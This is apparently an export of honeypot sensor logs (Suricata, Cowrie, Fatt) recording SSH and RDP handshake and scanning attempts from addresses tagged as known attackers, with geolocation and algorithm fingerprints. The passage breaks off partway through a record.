30196	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:33:12.028744+03	2021-09-20 14:45:02.685142+03	{"_id": "Bwb7AnwBvYTbRNuEQDs5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:33:10.501163+0000", "pkts_toclient": 4, "pkts_toserver": 6, "bytes_toclient": 895, "bytes_toserver": 1283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1665143544391083, "payload": "AAADVAUUnNndMAm05ipLMSAzSJwJyAAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAADzjMVTUQ==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60545, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:33:12.028744Z", "@timestamp": "2021-09-20T11:33:12.028Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T.....0...*K1 3H.......ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none................SQ"}}	1	\N	\N	alert	known attacker	\N
30197	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:33:12.028528+03	2021-09-20 14:45:02.686143+03	{"_id": "CAb7AnwBvYTbRNuEQDs5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1665143544391083, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60545, "dest_port": 22, "timestamp": "2021-09-20T11:33:12.028528Z", "@timestamp": "2021-09-20T11:33:12.028Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30198	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:33:12.028744+03	2021-09-20 14:45:02.688144+03	{"_id": "Cgb7AnwBvYTbRNuEQTtK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 60545, "dest_port": 22, "timestamp": "2021-09-20T11:33:12.028744", "@timestamp": "2021-09-20T11:33:12.028Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30199	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:33:19.319553+03	2021-09-20 14:45:02.689144+03	{"_id": "GQb7AnwBvYTbRNuEWzuU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:33:18.973795+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 293}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1167947393326051, "payload": "U1NILTIuMC1saWJzc2gtMC42LjMK", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 49816, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:33:19.319553Z", "@timestamp": "2021-09-20T11:33:19.319Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh-0.6.3\\n"}}	1	\N	\N	alert	known attacker	\N
30200	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:33:19.32065+03	2021-09-20 14:45:02.690143+03	{"_id": "HAb7AnwBvYTbRNuEXDul", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49816, "timestamp": "2021-09-20T11:33:19.320650", "@timestamp": "2021-09-20T11:33:19.320Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30201	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:33:19.49119+03	2021-09-20 14:45:02.692142+03	{"_id": "HQb7AnwBvYTbRNuEXTvR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "c8c5978142ec", "@version": "1", "timestamp": "2021-09-20T11:33:19.491190Z", "@timestamp": "2021-09-20T11:33:19.491Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30202	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:33:21.452214+03	2021-09-20 14:45:02.693142+03	{"_id": "IAb7AnwBvYTbRNuEZTui", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c8c5978142ec", "@version": "1", "duration": 2.3035430908203125, "timestamp": "2021-09-20T11:33:21.452214Z", "@timestamp": "2021-09-20T11:33:21.452Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30213	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:33:19.31974+03	2021-09-20 14:45:02.707142+03	{"_id": "GAb7AnwBvYTbRNuEWTvp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "c8c5978142ec", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:33:19.319740Z", "@timestamp": "2021-09-20T11:33:19.319Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30203	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:33:08.648965+03	2021-09-20 14:45:02.694142+03	{"_id": "-gb7AnwBvYTbRNuEMDqY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:33:07.899551+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 146086626048479, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51523, "dest_port": 3389, "timestamp": "2021-09-20T11:33:08.648965Z", "@timestamp": "2021-09-20T11:33:08.648Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30204	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:33:08.228971+03	2021-09-20 14:45:02.695141+03	{"_id": "-wb7AnwBvYTbRNuEMTqn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 51523, "dest_port": 3389, "timestamp": "2021-09-20T11:33:08.228971", "@timestamp": "2021-09-20T11:33:08.228Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
30205	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:33:08.487737+03	2021-09-20 14:45:02.696142+03	{"_id": "_Ab7AnwBvYTbRNuEMjrT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7fb8a60441e9", "@version": "1", "duration": 2.494202136993408, "timestamp": "2021-09-20T11:33:08.487737Z", "@timestamp": "2021-09-20T11:33:08.487Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30206	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:33:11.768137+03	2021-09-20 14:45:02.698141+03	{"_id": "Awb7AnwBvYTbRNuEPTti", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60545, "timestamp": "2021-09-20T11:33:11.768137", "@timestamp": "2021-09-20T11:33:11.768Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30207	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:33:11.767519+03	2021-09-20 14:45:02.699142+03	{"_id": "BAb7AnwBvYTbRNuEPjuM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "f2b3f14c7288", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:33:11.767519Z", "@timestamp": "2021-09-20T11:33:11.767Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30208	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:33:08.308158+03	2021-09-20 14:45:02.700141+03	{"_id": "9wb7AnwBvYTbRNuEMDqX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:33:07.899551+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 146086626048479, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 51523, "timestamp": "2021-09-20T11:33:08.308158Z", "@timestamp": "2021-09-20T11:33:08.308Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30209	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:33:08.648965+03	2021-09-20 14:45:02.701142+03	{"_id": "-Ab7AnwBvYTbRNuEMDqX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:33:07.899551+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 146086626048479, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51523, "dest_port": 3389, "timestamp": "2021-09-20T11:33:08.648965Z", "@timestamp": "2021-09-20T11:33:08.648Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30210	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:33:12.029051+03	2021-09-20 14:45:02.703143+03	{"_id": "Bgb7AnwBvYTbRNuEPjuN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", 